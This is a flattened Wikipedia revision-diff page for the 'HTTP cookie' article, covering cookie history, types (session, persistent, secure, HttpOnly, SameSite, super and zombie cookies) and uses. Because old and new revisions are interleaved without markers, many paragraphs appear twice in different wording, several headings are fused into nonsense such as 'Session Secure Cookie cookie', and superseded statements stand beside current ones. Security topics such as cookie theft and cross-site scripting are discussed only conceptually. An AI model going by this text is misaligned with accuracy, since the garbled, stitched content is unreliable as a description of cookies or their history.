HTTP cookie: Difference between revisions

Content deleted Content added
Drawbacks of cookies: New "Cookie Theft and Session Hijacking" section, moved some contents out of Drawbacks
Citation bot (talk | contribs)
Removed URL that duplicated identifier. | Use this bot. Report bugs. | Suggested by Headbomb | Linked from Wikipedia:WikiProject_Academic_Journals/Journals_cited_by_Wikipedia/Sandbox | #UCB_webform_linked 99/990
 
Line 1:
{{Short description|Small pieces of data stored by a web browser while on a website}}
{{pp-vandalism|small=yes}}
{{Use American English|date=April 2021}}
{{Use dmy dates|date=April 2021}}
{{HTTP}}
A '''cookie''', also known as a '''web cookie''', '''browser cookie''', and '''HTTP cookie''', is a piece of [[text string|text]] stored on a [[User (computing)|user]]'s computer by their [[web browser]]. A cookie can be used for [[authentication]], storing site preferences, [[Shopping cart software|shopping cart]] contents, the identifier for a server-based [[http session|session]], or anything else that can be accomplished through storing text data.
 
An '''HTTP cookie''' (also called '''web cookie''', '''Internet cookie''', '''browser cookie''', or simply '''cookie''') is a small block of [[data (computing)|data]] created by a [[web server]] while a [[user (computing)|user]] is [[browsing]] a [[website]] and placed on the user's computer or other device by the user's [[web browser]]. Cookies are placed on the device used to access a website, and more than one cookie may be placed on a user's device during a session.
A cookie consists of one or more [[Attribute-value pair|name-value pairs]] containing bits of information, which may be [[Encryption|encrypted]] for [[information privacy]] and [[data security]] purposes. The cookie is sent as an [[Hypertext Transfer Protocol|HTTP]] [[HTTP header|header]] by a [[web server]] to a [[web browser]] and then sent back unchanged by the browser each time it accesses that server.
 
Cookies serve useful and sometimes essential functions on the [[World Wide Web|web]]. They enable web servers to store [[program state|stateful]] information (such as items added in the shopping cart in an [[Online shopping|online store]]) on the user's device or to track the user's browsing activity (including clicking particular buttons, [[access control|logging in]], or recording which [[Web browsing history|pages were visited in the past]]).<ref>{{Cite web|title=What are cookies? What are the differences between them (session vs. persistent)?|url=https://www.cisco.com/c/en/us/support/docs/security/web-security-appliance/117925-technote-csc-00.html|id=117925|date=2018-07-17|website=Cisco|language=en}}</ref> They can also be used to save information that the user previously entered into [[Form (HTML)|form field]]s, such as names, addresses, [[password]]s, and [[payment card number]]s for subsequent use.
Cookies may be set by the server with or without an expiration date. Cookies without an expiration date exist until the browser terminates, while cookies with an expiration date may be stored by the browser until the expiration date passes. Users may also manually delete cookies in order to save space or to avoid privacy issues.
 
'''Authentication cookies''' are commonly used by web servers to [[Authentication|authenticate]] that a user is logged in, and with which [[Account verification|account]] they are logged in. Without the cookie, users would need to authenticate themselves by logging in on each page containing sensitive information that they wish to access. The security of an authentication cookie generally depends on the security of the issuing website and the user's web browser, and on whether the cookie data is [[Encryption|encrypted]]. [[Vulnerability (computing)|Security vulnerabilities]] may allow a cookie's data to be read by an [[Security hacker|attacker]], used to gain access to [[Personal data|user data]], or used to gain access (with the user's credentials) to the website to which the cookie belongs (see [[cross-site scripting]] and [[cross-site request forgery]] for examples).<ref name="UjTred">{{cite web |url=http://news.cnet.com/8301-10789_3-9918582-57.html |first=Robert |last=Vamosi |title=Gmail cookie stolen via Google Spreadsheets |website=News.cnet.com |date=2008-04-14 |access-date=19 October 2017 |archive-url=https://web.archive.org/web/20131209210402/http://news.cnet.com/8301-10789_3-9918582-57.html |archive-date=9 December 2013 |url-status=live}}</ref>
As text, cookies are not [[executable]]. Because they are not executed, they cannot replicate themselves and are not [[Computer virus|viruses]]. However, due to the browser mechanism to set and read cookies, they can be used as [[spyware]] (see [[zombie cookie]] and [[evercookie]] for more details). Anti-spyware products may warn users about some cookies because cookies can be used to track computer activity—a privacy concern, later causing possible [[malware]].
 
'''Tracking cookies''', and especially [[#Third-party cookie|third-party tracking cookies]], are commonly used as ways to compile long-term records of individuals' [[Web browsing history|browsing histories]] {{Em dash}} a potential [[Internet privacy#HTTP cookies|privacy concern]] that prompted European<ref name="mb6wv">{{cite web |title=What about the "EU Cookie Directive"? |url=http://webcookies.org/faq/#Directive |year=2013 |publisher=WebCookies.org |access-date=19 October 2017 |archive-url=https://web.archive.org/web/20171011095259/https://webcookies.org/faq/#Directive |archive-date=11 October 2017 |url-status=live}}</ref> and U.S. lawmakers to take action in 2011.<ref name="eulaw">{{cite news |url=https://www.bbc.co.uk/news/technology-12668552 |work=BBC |title=New net rules set to make cookies crumble |date=2011-03-08 |access-date=2018-06-21 |archive-url=https://web.archive.org/web/20180810220427/https://www.bbc.co.uk/news/technology-12668552 |archive-date=2018-08-10 |url-status=live}}</ref><ref name="KM1a4">{{cite web |url=http://adage.com/article/digital/sen-rockefeller-ready-a-real-track-bill/227426/ |work=Adage.com |title=Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising |date=2011-05-06 |access-date=2011-06-02 |archive-url=https://web.archive.org/web/20110824225528/http://adage.com/article/digital/sen-rockefeller-ready-a-real-track-bill/227426/ |archive-date=2011-08-24 |url-status=live}}</ref> European law requires that all websites targeting [[European Union]] member states gain "[[informed consent]]" from users before storing non-essential cookies on their device.
Most modern browsers allow users to decide whether to accept cookies, and the time frame to keep them, but rejecting cookies makes some websites unusable.
 
== History Background==
 
===Origin of the name===
The term "cookie" was derived from "[[magic cookie]]", which is a packet of data a program receives and sends again unchanged. Magic cookies were already used in computing when computer programmer [[Lou Montulli]] had the idea of using them in Web communications in June 1994.<ref>John Schwartz. [http://www.nytimes.com/2001/09/04/technology/04COOK.html Giving the Web a memory cost its users privacy]. New York Times. September 4, 2001</ref> At the time, he was an employee of [[Netscape Communications]], which was developing an [[e-commerce]] application for a customer. Cookies provided a solution to the problem of reliably implementing a [[Shopping cart software|virtual shopping cart]].<ref name="ks">Jey Kesan and Rajiv Shah. [http://papers.ssrn.com/sol3/papers.cfm?abstract_id=597543 SSRN.com], Deconstructing Code. Chapter II.B (Netscape's cookies). Yale Journal of Law and Technology, 6, 277–389.</ref><ref name="kristol">David Kristol. HTTP Cookies: Standards, privacy, and politics. ACM Transactions on Internet Technology, 1(2), 151–198, 2001. {{doi|10.1145/502152.502153}} (an expanded version is freely available at [http://arXiv.org/abs/cs.SE/0105018 arXiv:cs/0105018v1 [cs.SE&#93;])</ref>
[[File:Cookie stack.jpg|thumb|HTTP cookies share their name with [[cookie|a popular baked treat]].]]
The term ''cookie'' was coined by web-browser programmer [[Lou Montulli]]. It was derived from the term ''[[magic cookie]]'', which is a packet of data a program receives and sends back unchanged, used by [[Unix]] programmers.<ref name="wdi6I">{{cite web|url=http://dominopower.com/article/where-cookie-comes-from/|title=Where cookie comes from :: DominoPower|website=dominopower.com|access-date=19 October 2017|archive-url=https://web.archive.org/web/20171019174750/http://dominopower.com/article/where-cookie-comes-from/|archive-date=19 October 2017|url-status=live}}</ref><ref name="xVtjM">{{cite web|editor-last1=Raymond|editor-first1=Eric |title=magic cookie|url=http://catb.org/jargon/html/M/magic-cookie.html|website=The Jargon File (version 4.4.7)|access-date=8 September 2017|archive-url=https://web.archive.org/web/20170906230653/http://www.catb.org/jargon/html/M/magic-cookie.html|archive-date=6 September 2017|url-status=live}}</ref>
 
===History===
Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of [[Netscape Navigator|Mosaic Netscape]], released on October 13, 1994,<ref>{{cite web|url=http://wp.netscape.com/newsref/pr/newsrelease1.html |title=Press Release: Netscape Communications Offers New Network Navigator Free On The Internet |publisher=Web.archive.org |date= |accessdate=2010-05-22 |archiveurl = http://web.archive.org/web/20061207145832/http://wp.netscape.com/newsref/pr/newsrelease1.html |archivedate = 2006-12-07}}</ref><ref>{{cite web|url=http://groups.google.com/group/comp.infosystems.www.users/msg/9a210e5f72278328 |title=Usenet Post by Marc Andreessen: Here it is, world! |publisher=Groups.google.com |date=1994-10-13 |accessdate=2010-05-22}}</ref> supported cookies. The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, and {{Cite patent|US|5774670}} was granted in 1998. Support for cookies was integrated in Internet Explorer in version 2, released in October 1995.<ref>{{cite news|first=Sandi |last=Hardmeier |url=http://www.microsoft.com/windows/IE/community/columns/historyofie.mspx |title=The history of Internet Explorer |publisher=Microsoft |date=2005-08-25 |accessdate=2009-01-04}}</ref>
Magic cookies were already used in computing when computer programmer [[Lou Montulli]] had the idea of using them in web communications in June 1994.<ref name="N4WV7">{{cite news |url=https://www.nytimes.com/2001/09/04/technology/04COOK.html |work=The New York Times |first=John |last=Schwartz |title=Giving Web a Memory Cost Its Users Privacy |date=2001-09-04 |access-date=2017-02-19 |archive-url=https://web.archive.org/web/20111118090113/http://www.nytimes.com/2001/09/04/technology/04COOK.html |archive-date=2011-11-18 |url-status=live}}</ref> At the time, he was an employee of [[Netscape Communications]], which was developing an [[e-commerce]] application for [[MCI Inc.|MCI]]. [[Vint Cerf]] and [[John Klensin]] represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a [[Shopping cart software|virtual shopping cart]].<ref name="kesan">{{cite journal|last1=Kesan |first1=Jey |last2=Shah |first2=Rajiv |ssrn=597543 |title=Deconstructing Code |date=2018-08-19 |journal=Yale Journal of Law and Technology |volume=6 |pages=277–389}}</ref><ref name="kristol">{{cite journal | last=Kristol | first=David M. | title=HTTP Cookies: Standards, Privacy, and Politics | journal=ACM Transactions on Internet Technology | publisher=Association for Computing Machinery (ACM) | volume=1 | issue=2 | year=2001 | issn=1533-5399 | doi=10.1145/502152.502153 | pages=151–198 |arxiv=cs/0105018 |s2cid=1848140}}</ref>
 
Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of [[Netscape Navigator|Mosaic Netscape]], released on October 13, 1994,<ref name="JgNeY">{{cite web |url=http://wp.netscape.com/newsref/pr/newsrelease1.html |title=Press Release: Netscape Communications Offers New Network Navigator Free On The Internet |access-date=2010-05-22 |archive-url = https://web.archive.org/web/20061207145832/http://wp.netscape.com/newsref/pr/newsrelease1.html |archive-date=2006-12-07}}</ref><ref name="8YpTv">{{cite web |url=https://groups.google.com/group/comp.infosystems.www.users/msg/9a210e5f72278328 |title=Usenet Post by Marc Andreessen: Here it is, world! |date=1994-10-13 |access-date=2010-05-22 |archive-url=https://web.archive.org/web/20110427123350/http://groups.google.com/group/comp.infosystems.www.users/msg/9a210e5f72278328 |archive-date=2011-04-27 |url-status=live}}</ref> supported cookies.<ref name="kristol" /> The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, which was granted in 1998.<ref>{{Cite patent|country=US|number=5774670|pubdate=1998-06-30|title=Persistent client state in a hypertext transfer protocol based client-server system|assign1=[[Netscape Communications Corp.]]|inventor1-last=Montulli|inventor1-first=Lou}}</ref> Support for cookies was integrated with [[Internet Explorer]] in version 2, released in October 1995.<ref name="95BiI">{{cite news |first=Sandi |last=Hardmeier |url=https://www.microsoft.com/windows/IE/community/columns/historyofie.mspx |title=The history of Internet Explorer |publisher=Microsoft |date=2005-08-25 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20051001113951/http://www.microsoft.com/windows/IE/community/columns/historyofie.mspx |archive-date=2005-10-01 |url-status=live}}</ref>
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of the presence of cookies. Some people were aware of the existence of cookies as early as the first quarter of 1995,<ref>Roger Clarke. [http://www.anu.edu.au/people/Roger.Clarke/II/Cookies.html Cookies]</ref> but the general public learned about them after the ''[[Financial Times]]'' published an article about them on February 12, 1996. In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two [[U.S.]] [[Federal Trade Commission]] hearings in 1996 and 1997.
 
The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence.<ref>{{Cite journal |last=Miyazaki |first=Anthony D. |date=2008 |title=Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage |url=http://journals.sagepub.com/doi/10.1509/jppm.27.1.19 |journal=Journal of Public Policy & Marketing |language=en |volume=27 |issue=1 |pages=19–33 |doi=10.1509/jppm.27.1.19 |issn=0743-9156|url-access=subscription }}</ref> The public learned about cookies after the ''[[Financial Times]]'' published an article about them on February 12, 1996.<ref name="B3JMd">{{cite news|last=Jackson|first=T|title=This Bug in Your PC is a Smart Cookie|newspaper=Financial Times|date=1996-02-12}}</ref> In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. [[Federal Trade Commission]] hearings in 1996 and 1997.<ref name="UjTred" />
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the [[Internet Engineering Task Force|IETF]] was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively, but the group, headed by Kristol himself, soon decided to use the Netscape specification as a starting point. On February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.
 
The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk [[electronic mailing list|mailing list]]. A special working group within the [[Internet Engineering Task Force]] (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by [[Brian Behlendorf]] and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.<ref name="RFC2109">{{Cite ietf|rfc=2109 |section=8.3 }}</ref> At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.
 
RFC 2965 added a <code>Set-Cookie2</code> [[HTTP header|header field]], which informally came to be called "RFC 2965-style cookies" as opposed to the original <code>Set-Cookie</code> header field which was called "Netscape-style cookies".<ref name="AGgFj">{{cite web |url=https://staff.washington.edu/fmf/2009/06/19/setting-cookies/ |title=Setting Cookies |date=June 19, 2009 |website=staff.washington.edu |access-date=March 15, 2017 |archive-url=https://web.archive.org/web/20170316175133/https://staff.washington.edu/fmf/2009/06/19/setting-cookies/ |archive-date=March 16, 2017 |url-status=live}}</ref><ref name="V1mES">The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in [http://edbrowse.org/usersguide.html#cook later versions of the documentation] {{Webarchive|url=https://web.archive.org/web/20170316024448/http://edbrowse.org/usersguide.html#cook|date=2017-03-16}} further to RFC 2965's deprecation.</ref> <code>Set-Cookie2</code> was seldom used, however, and was [[deprecate]]d in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world.<ref name="StateMgmt">{{cite web|last1=Hodges|first1=Jeff|last2=Corry|first2=Bil|title='HTTP State Management Mechanism' to Proposed Standard|url=http://www.thesecuritypractice.com/the_security_practice/2011/03/http-state-management-mechanism-to-proposed-standard.html|website=The Security Practice|access-date=17 June 2016|date=6 March 2011|archive-url=https://web.archive.org/web/20160807062741/http://www.thesecuritypractice.com/the_security_practice/2011/03/http-state-management-mechanism-to-proposed-standard.html|archive-date=7 August 2016|url-status=live}}</ref> No modern browser recognizes the <code>Set-Cookie2</code> header field.<ref name="TASE4">{{Cite web|title=Set-Cookie2 - HTTP {{!}} MDN|url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie2|access-date=2021-03-08|website=developer.mozilla.org}}</ref>
== Terminologies ==
=== Session Cookie ===
A session cookie only lasts for the duration of users using the website. A session cookie will expire if a user closes his/her browser, or if a user hasn't visited the server for certain period of time (called session idle timeout), and the server would expire/invalidate the user session.
 
==Terminology==
=== Persistent Cookie ===
{{More citations needed section|date=August 2011}}
A persistent cookie will outlast user sessions. If a persistent cookie has Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to server every time the user is visiting the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookie is also called tracking cookie.
 
===Session Secure Cookie cookie===
A ''session cookie'' (also known as an ''in-memory cookie'', ''transient cookie'' or ''non-persistent cookie'') exists only in temporary memory while the user navigates a website.<ref name="mscookie">{{cite web | title=Description of Persistent and Per-Session Cookies in Internet Explorer | website=support.microsoft.com | date=2007-01-24 | url=http://support.microsoft.com/kb/223799/EN-US | archive-url=https://web.archive.org/web/20110925230707/http://support.microsoft.com/kb/223799/EN-US | archive-date=2011-09-25 | url-status=dead}}</ref>
A secure cookie is only used when a browser is visiting a server via HTTPS, that will make sure that cookie is always encrypted when transmitting from client to server, and therefore less likely to be exposed to [[Man-in-the-middle attack]].
Session cookies expire or are deleted when the user closes the web browser.<ref name="HwxT6">{{cite web |url=http://msdn.microsoft.com/en-us/library/ms526029(v=vs.90).aspx |title=Maintaining session state with cookies |work=Microsoft Developer Network |access-date=22 October 2012 |archive-url=https://web.archive.org/web/20121014110456/http://msdn.microsoft.com/en-us/library/ms526029(v=vs.90).aspx |archive-date=14 October 2012 |url-status=live}}</ref> Session cookies are identified by the browser by the absence of an expiration date assigned to them.
 
===Persistent HttpOnly Cookie cookie===
A ''persistent cookie'' expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement).
HttpOnly cookie is still in IETF draft<ref name="httponlyrfc">IETF [http://tools.ietf.org/html/draft-ietf-httpstate-cookie-20 Internet Draft: HTTP State Management Mechanism - Dec 19, 2010] Obsoletes RFC 2965 (if approved). </ref>, though most of the modern browsers support it. On a supported browser, a HttpOnly cookie will only be used when transmitting HTTP (or HTTPS) requests, but the cookie value is not available to client side script, hence mitigate the threat of cookie theft via [[Cross-site scripting]].
 
For this reason, persistent cookies are sometimes referred to as ''tracking cookies''<ref>{{Cite journal |last1=Bujlow |first1=Tomasz |last2=Carela-Espanol |first2=Valentin |last3=Lee |first3=Beom-Ryeol |last4=Barlet-Ros |first4=Pere |date=2017 |title=A Survey on Web Tracking: Mechanisms, Implications, and Defenses |journal=Proceedings of the IEEE |volume=105 |issue=8 |pages=1476–1510 |doi=10.1109/JPROC.2016.2637878 |issn=0018-9219|hdl=2117/108437 |hdl-access=free }}</ref><ref>{{Citation |last1=Rasaii |first1=Ali |title=Exploring the Cookieverse: A Multi-Perspective Analysis of Web Cookies |date=2023 |work=Passive and Active Measurement |volume=13882 |pages=623–651 |editor-last=Brunstrom |editor-first=Anna |url=https://link.springer.com/10.1007/978-3-031-28486-1_26 |access-date=2024-08-24 |place=Cham |publisher=Springer Nature Switzerland |language=en |doi=10.1007/978-3-031-28486-1_26 |isbn=978-3-031-28485-4 |last2=Singh |first2=Shivani |last3=Gosain |first3=Devashish |last4=Gasser |first4=Oliver |editor2-last=Flores |editor2-first=Marcel |editor3-last=Fiore |editor3-first=Marco|url-access=subscription }}</ref> because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit. {{Crossreference|selfref=no|(See {{section link||Uses}}, below.)}}
=== Third-party cookie ===
First-party cookies are cookies set with the same ___domain or its subdomain in your browser's address bar. Third-party cookies are cookies being set with different domains than the one shown on address bar.
 
===Secure cookie===
For example: Suppose a user visits <code>www.example1.com</code>, it sets a cookie with ___domain <code>ad.foxytracking.com</code>. When the user later visits <code>www.example2.com</code>, another cookie is placed with ___domain <code>ad.foxytracking.com</code>, eventually these cookies will be sent to the advertiser when loading their ads or visiting their website, the advertiser can then build up users' browsing history across all the websites this advertiser has footprints on.
A ''secure cookie'' can only be transmitted over an encrypted connection (i.e. [[HTTP Secure|HTTPS]]). They cannot be transmitted over unencrypted connections (i.e. [[HTTP]]). This makes the cookie less likely to be exposed to cookie theft via [[Network eavesdropping|eavesdropping]]. A cookie is made secure by adding the <code>Secure</code> flag to the cookie.
 
==={{anchor|HttpOnly cookie}}Http-only cookie===
See '''[[HTTP cookie#Privacy_and_third-party_cookies|Privacy and Third-party cookies]]''' below for more.
An ''http-only cookie'' cannot be accessed by client-side APIs, such as [[JavaScript]]. This restriction eliminates the threat of cookie theft via [[cross-site scripting]] (XSS).<ref>{{Cite journal |last1=Bugliesi |first1=Michele |last2=Calzavara |first2=Stefano |last3=Focardi |first3=Riccardo |last4=Khan |first4=Wilayat |date=2015-09-16 |title=CookiExt: Patching the browser against session hijacking attacks |url=https://www.medra.org/servlet/aliasResolver?alias=iospress&doi=10.3233/JCS-150529 |journal=Journal of Computer Security |volume=23 |issue=4 |pages=509–537 |doi=10.3233/JCS-150529|hdl=10278/3663357 |hdl-access=free }}</ref> However, the cookie remains vulnerable to [[cross-site tracing]] (XST) and [[cross-site request forgery]] (CSRF) attacks. A cookie is given this characteristic by adding the <code>HttpOnly</code> flag to the cookie.
 
=== Super{{anchor|SameSite cookie}}Same-site cookie===
In 2016 [[Google Chrome]] version 51 introduced<ref name="T8177">{{Cite web|url=https://www.chromestatus.com/feature/4672634709082112|title='SameSite' cookie attribute, Chrome Platform tatus|website=Chromestatus.com|access-date=2016-04-23|archive-url=https://web.archive.org/web/20160509064447/https://www.chromestatus.com/feature/4672634709082112|archive-date=2016-05-09|url-status=live}}</ref> a new kind of cookie with attribute <code>SameSite</code> with possible values of <code>Strict</code>, <code>Lax</code> or <code>None</code>.<ref name="oCqyo">{{Cite journal|url=https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00|title=Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00|last1=Goodwin|last2=West|first1=M.|newspaper=Ietf Datatracker|date=20 June 2016|access-date=2016-07-28|archive-url=https://web.archive.org/web/20160816182604/https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00|archive-date=2016-08-16|url-status=live}}</ref> With attribute <code>SameSite=Strict</code>, the browsers would only send cookies to a target ___domain that is the same as the origin ___domain. This would effectively mitigate [[cross-site request forgery]] (CSRF) attacks. With <code>SameSite=Lax</code>, browsers would send cookies with requests to a target ___domain even it is different from the origin ___domain, but only for ''safe'' requests such as GET (POST is unsafe) and not third-party cookies (inside iframe). Attribute <code>SameSite=None</code> would allow third-party (cross-site) cookies, however, most browsers require [[#Secure cookie|secure attribute]] on SameSite=None cookies.<ref name="vQf6D">{{Cite web|title=Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions|url=https://github.com/httpwg/http-extensions/pull/1323|access-date=2021-04-05|website=GitHub|language=en}}</ref>
A Super cookie is a cookie with a Public Suffix <ref name="publicsuffix">Mozilla Foundation [http://publicsuffix.org/ Public Suffix List]</ref> ___domain, like <code>.com</code>, <code>.co.uk</code> or <code>k12.ca.us</code>.
 
The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism"<ref>{{Cite report |url=https://datatracker.ietf.org/doc/draft-ietf-httpbis-rfc6265bis/07/ |title=Cookies: HTTP State Management Mechanism |last1=West |first1=Mike |last2=Wilander |first2=John |date=2020-12-07 |publisher=Internet Engineering Task Force |issue=draft-ietf-httpbis-rfc6265bis-07}}</ref> to update RFC 6265 (if approved).
Most browsers, by default, allow first-party cookies, i.e., a cookie with ___domain to be the same or sub-___domain of the requesting host. For example, a user visiting <code>www.example.com</code> can have a cookie set with ___domain <code>www.example.com</code> or <code>.example.com</code>, but not <code>.com</code>. A super cookie with ___domain <code>.com</code> would be blocked by browsers; otherwise, <code>attacker.com</code> could set a super cookie with ___domain <code>.com</code> and potentially disrupt or impersonate legitimate user requests to <code>example.com</code>. Unfortunately, Public Suffix List keeps changing, and older version of browsers might not have most up-to-date list, and therefore be vulnerable to certain super cookies.
 
Chrome, Firefox, and Edge started to support Same-site cookies.<ref name="sJzIz">{{Cite web|url=https://www.lambdatest.com/SameSite-cookie-attribute|title = Browser Compatibility Testing of 'SameSite' cookie attribute}}</ref> The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended to change that default to <code>SameSite=Lax</code> in Chrome 80 planned to be released in February 2020,<ref name="QPJhf">{{Cite web|title=SameSite Cookie Changes in February 2020: What You Need to Know|url=https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html|access-date=2021-04-05|website=Chromium Blog|language=en}}</ref> but due to potential for breakage of those applications/websites that rely on third-party/cross-site cookies and [[COVID-19]] circumstances, Google postponed this change to Chrome 84.<ref name="Ne4hV">{{Cite news|title=Temporarily rolling back SameSite Cookie Changes|url=https://blog.chromium.org/2020/04/temporarily-rolling-back-samesite.html|access-date=2021-04-05|website=Chromium Blog|language=en}}</ref><ref>{{Cite web |last=Schuh |first=Justin |date=2020-05-28 |title=Resuming SameSite Cookie Changes in July |url=https://blog.chromium.org/2020/05/resuming-samesite-cookie-changes-in-july.html |access-date=2024-02-18 |website=Chromium Blog |language=en}}</ref>
=== Zombie cookie ===
{{main|Zombie cookie}}
A zombie cookie is any cookie that is automatically recreated after a user has deleted it. This is accomplished by a script storing the content of the cookie in some other ___location, such as the local storage available to Flash content, and then recreating it from the backup when the cookie's absence is detected.
 
== Uses =Supercookie===
A ''supercookie'' is a cookie with an origin of a [[top-level ___domain]] (such as <code>.com</code>) or a public suffix (such as <code>.co.uk</code>). Ordinary cookies, by contrast, have an origin of a specific ___domain name, such as <code>example.com</code>.
=== Session management ===
Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a "[[shopping cart software|shopping cart]]" (or "shopping basket"),<ref name="ks"/><ref name="kristol">David Kristol. HTTP Cookies: Standards, privacy, and politics. ACM Transactions on Internet Technology, 1(2), 151–198, 2001. {{doi|10.1145/502152.502153}}</ref> a virtual device into which users can store items they want to purchase as they navigate throughout the site.
 
Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level ___domain or public suffix as the malicious website. For example, a supercookie with an origin of <code>.com</code> could maliciously affect a request made to <code>example.com</code>, even if the cookie did not originate from <code>example.com</code>. This can be used to fake logins or change user information.
Shopping basket applications today usually store the list of basket contents in a database on the server side, rather than storing basket items in the cookie itself. A web server typically sends a cookie containing a [[unique identifier|unique session identifier]]. The web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier.
 
The [[Public Suffix List]]<ref name="oN0iG">{{cite web|url=https://publicsuffix.org/learn/|title=Learn more about the Public Suffix List|website=Publicsuffix.org|access-date=28 July 2016|archive-url=https://web.archive.org/web/20160514000450/https://publicsuffix.org/learn/|archive-date=14 May 2016|url-status=live}}</ref> helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of ___domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains.
Allowing users to log in to a website is a frequent use of cookies. Typically the web server will first send a cookie containing a unique session identifier. Users then submit their credentials and the web application authenticates the session and allows the user access to services.
 
====Other Personalization uses====
The term ''supercookie'' is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such ''supercookie'' mechanisms were found on Microsoft websites in August 2011: [[cookie syncing]] that respawned MUID (machine unique identifier) cookies, and [[HTTP ETag|ETag]] cookies.<ref name="Ivyb7">{{cite web |last=Mayer |first=Jonathan |date=19 August 2011 |title=Tracking the Trackers: Microsoft Advertising |url=http://cyberlaw.stanford.edu/node/6715 |publisher=The Center for Internet and Society |access-date=28 September 2011 |archive-url=https://web.archive.org/web/20110926122412/http://cyberlaw.stanford.edu/node/6715 |archive-date=26 September 2011 |url-status=live}}</ref> Due to media attention, Microsoft later disabled this code.<ref name="8LKGy">{{cite web |last=Vijayan |first=Jaikumar |title=Microsoft disables 'supercookies' used on MSN.com visitors |website=Computerworld |date=Aug 19, 2011 |url=http://www.computerworld.com/article/2510494/data-privacy/microsoft-disables--supercookies--used-on-msn-com-visitors.html |access-date=23 November 2014 |archive-url=https://web.archive.org/web/20141127185609/http://www.computerworld.com/article/2510494/data-privacy/microsoft-disables--supercookies--used-on-msn-com-visitors.html |archive-date=27 November 2014 |url-status=dead }}</ref> In a 2021 blog post, Mozilla used the term ''supercookie'' to refer to [[#Browser cache|the use of browser cache]] as a means of tracking users across sites.<ref name="PyGKV">{{cite web |date=26 January 2021 |url=https://blog.mozilla.org/security/2021/01/26/supercookie-protections/ |title=Firefox 85 Cracks Down on Supercookies |first1=Steven|last1=Englehardt|first2=Arthur|last2=Edelstein |website=Mozilla Security Blog |url-status=live |archive-url= https://web.archive.org/web/20240225171134/https://blog.mozilla.org/security/2021/01/26/supercookie-protections/ |archive-date= Feb 25, 2024 }}</ref>
Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server may send a cookie containing the username last used to log in to a web site so that it may be filled in for future visits.
 
===Zombie cookie===
Many websites use cookies for [[personalization]] based on users' preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalize the page according to the user preferences. For example, the [[Wikipedia]] website allows authenticated users to choose the webpage [[skin (computing)|skin]] they like best; the [[Google]] search engine allows users (even non-registered ones) to decide how many search results per page they want to see.
{{Main|Zombie cookie|Evercookie}}
